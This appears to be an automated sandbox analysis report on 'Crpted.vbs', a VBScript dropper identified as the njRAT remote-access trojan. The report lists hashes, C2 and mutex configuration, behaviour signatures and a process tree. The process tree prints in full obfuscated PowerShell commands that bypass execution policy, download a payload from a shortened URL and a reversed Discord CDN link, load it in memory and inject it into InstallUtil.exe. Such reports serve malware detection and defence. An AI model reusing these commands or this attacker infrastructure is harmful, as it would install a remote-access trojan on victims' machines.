Analysis

  • max time kernel
    505s
  • max time network
    8s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220812-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20220812-enlocale:en-usos:windows10-2004-x64system
  • submitted
    29/09/2022, 22:57

General

  • Target

    Crpted.vbs

  • Size

    201KB

  • MD5

    7c1c586eee46eeb0d4ecaeddd0f6c9e8

  • SHA1

    e4ec1842c5b0d5a06eed1ff2cc5ec1cfee3863b6

  • SHA256

    27c6e7285e625cc5b527bbdf24cffdb0489a5b29acd1fa6cff08d1cd437b7a63

  • SHA512

    c9f25ac378cdda9fdeb675f82df003f89d6e10398c196d87fd45ac433b794c84164844c29fe46d6a4b750cb39f46bb1805a7707b9e3b76d942a073180a83055e

  • SSDEEP

    96:dyYRYFYDf3YNbC+PbvD71b0F4WOktEpD2AUB/0zwNEWUvnZ1+AN1qHk:d9uarY5CeTHiFbBQD2RB/0zwkZJ1qE

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://tinyurl.com/2erph6cs

Extracted

Family

njrat

Version

0.7NC

Botnet

NYAN CAT

C2

dnsproxi2022.duckdns.org:1986

Mutex

587789ec74

Attributes
  • reg_key

    587789ec74

  • splitter

    @!#&^%$

Signatures

  • njRAT/Bladabindi

    Widely used RAT written in .NET.

  • Blocklisted process makes network request 4 IoCs
  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Suspicious use of SetThreadContext 2 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of WriteProcessMemory 24 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Crpted.vbs"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4156
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAC⌚⌚⌚AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AOQAwADgAMgB2AG4AZQAvADYANQA5ADMANAA3ADQANgA2ADYAOQA4ADIAMAA3ADQAMgAwADEALwA3ADEANQAyADEAMwA1ADgAMAA4ADMAMgA0ADgANgA0ADIAMAAxAC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBSAG8AZABhACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('еовесеМеовесеМ', 'C:\Users\Admin\AppData\Local\Temp\Crpted.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2240
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = '%%';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.9082vne/6593474666982074201/7152135808324864201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'Roda' ))"
        3⤵
        • Blocklisted process makes network request
        • Suspicious use of SetThreadContext
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:4900
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
          4⤵
            PID:4764
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command "$RodaCopy = '%%';[Byte[]] $DLL = [system.Convert]::FromBase64String((New-Object Net.WebClient).DownloadString('https://tinyurl.com/2erph6cs'));[system.AppDomain]::CurrentDomain.Load($DLL).GetType('NwgoxM.KPJaNj').GetMethod('PUlGKA').Invoke($null, [object[]] ('txt.9082vne/6593474666982074201/7152135808324864201/stnemhcatta/moc.ppadrocsid.ndc//:sptth' , $RodaCopy , 'Roda' ))"
      1⤵
      • Blocklisted process makes network request
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:4900
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe"
        2⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:4764
    • C:\Windows\System32\WScript.exe
      "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Crpted.vbs"
      1⤵
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:4156
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $iUqm = 'JABSAG8AZABhAEMAbwBwAHkAIAA9ACAAJwAlAC⌚⌚⌚AJwA7AFsAQgB5AHQAZQBbAF0AXQAgACQARABMAEwAIAA9ACAAWwBzAHkAcwB0AG⌚⌚⌚AbQAuAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACgATgBlAHcALQBPAGIAagBlAGMAdAAgAE4AZQB0AC4AVwBlAGIAQwBsAGkAZQBuAHQAKQAuAEQAbwB3AG4AbABvAGEAZABTAHQAcgBpAG4AZwAoACcAaAB0AHQAcABzADoALwAvAHQAaQBuAHkAdQByAGwALgBjAG8AbQAvADIAZQByAHAAaAA2AGMAcwAnACkAKQA7AFsAcwB5AHMAdABlAG0ALgBBAHAAcABEAG8AbQBhAGkAbgBdADoAOgBDAH⌚⌚⌚AcgByAG⌚⌚⌚AbgB0AEQAbwBtAGEAaQBuAC4ATABvAGEAZAAoACQARABMAEwAKQAuAEcAZQB0AFQAeQBwAG⌚⌚⌚AKAAnAE4AdwBnAG8AeABNAC4ASwBQAEoAYQBOAGoAJwApAC4ARwBlAHQATQBlAHQAaABvAGQAKAAnAFAAVQBsAEcASwBBACcAKQAuAEkAbgB2AG8AawBlACgAJABuAH⌚⌚⌚AbABsACwAIABbAG8AYgBqAG⌚⌚⌚AYwB0AFsAXQBdACAAKAAnAHQAeAB0AC4AOQAwADgAMgB2AG4AZQAvADYANQA5ADMANAA3ADQANgA2ADYAOQA4ADIAMAA3ADQAMgAwADEALwA3ADEANQAyADEAMwA1ADgAMAA4ADMAMgA0ADgANgA0ADIAMAAxAC8AcwB0AG4AZQBtAGgAYwBhAHQAdABhAC8AbQBvAGMALgBwAHAAYQBkAHIAbwBjAHMAaQBkAC4AbgBkAGMALwAvADoAcwBwAHQAdABoACcAIAAsACAAJABSAG8AZABhAEMAbwBwAHkAIAAsACAAJwBSAG8AZABhACcAIAApACkA';$OWjuxD = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $iUqm.replace('⌚⌚⌚','U') ) );$OWjuxD = $OWjuxD.replace('еовесеМеовесеМ', 'C:\Users\Admin\AppData\Local\Temp\Crpted.vbs');powershell.exe -windowstyle hidden -ExecutionPolicy Bypss -NoProfile -Command $OWjuxD
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of WriteProcessMemory
        PID:2240

    Network

          MITRE ATT&CK Enterprise v6

          Replay Monitor

          Loading Replay Monitor...

          Downloads

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            f41839a3fe2888c8b3050197bc9a0a05

            SHA1

            0798941aaf7a53a11ea9ed589752890aee069729

            SHA256

            224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

            SHA512

            2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

          • C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log

            Filesize

            3KB

            MD5

            f41839a3fe2888c8b3050197bc9a0a05

            SHA1

            0798941aaf7a53a11ea9ed589752890aee069729

            SHA256

            224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a

            SHA512

            2acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            d8b9a260789a22d72263ef3bb119108c

            SHA1

            376a9bd48726f422679f2cd65003442c0b6f6dd5

            SHA256

            d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

            SHA512

            550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

          • C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

            Filesize

            64B

            MD5

            d8b9a260789a22d72263ef3bb119108c

            SHA1

            376a9bd48726f422679f2cd65003442c0b6f6dd5

            SHA256

            d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc

            SHA512

            550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b

          • memory/2240-133-0x000001A1F0A10000-0x000001A1F0A32000-memory.dmp

            Filesize

            136KB

          • memory/2240-135-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2240-142-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2240-135-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2240-142-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/2240-133-0x000001A1F0A10000-0x000001A1F0A32000-memory.dmp

            Filesize

            136KB

          • memory/4764-146-0x00000000050C0000-0x00000000050CA000-memory.dmp

            Filesize

            40KB

          • memory/4764-143-0x0000000004EF0000-0x0000000004F8C000-memory.dmp

            Filesize

            624KB

          • memory/4764-144-0x0000000005570000-0x0000000005B14000-memory.dmp

            Filesize

            5.6MB

          • memory/4764-143-0x0000000004EF0000-0x0000000004F8C000-memory.dmp

            Filesize

            624KB

          • memory/4764-146-0x00000000050C0000-0x00000000050CA000-memory.dmp

            Filesize

            40KB

          • memory/4764-145-0x00000000051B0000-0x0000000005242000-memory.dmp

            Filesize

            584KB

          • memory/4764-137-0x0000000000400000-0x000000000040C000-memory.dmp

            Filesize

            48KB

          • memory/4764-145-0x00000000051B0000-0x0000000005242000-memory.dmp

            Filesize

            584KB

          • memory/4764-137-0x0000000000400000-0x000000000040C000-memory.dmp

            Filesize

            48KB

          • memory/4764-144-0x0000000005570000-0x0000000005B14000-memory.dmp

            Filesize

            5.6MB

          • memory/4900-139-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-136-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-136-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB

          • memory/4900-139-0x00007FFBBCCE0000-0x00007FFBBD7A1000-memory.dmp

            Filesize

            10.8MB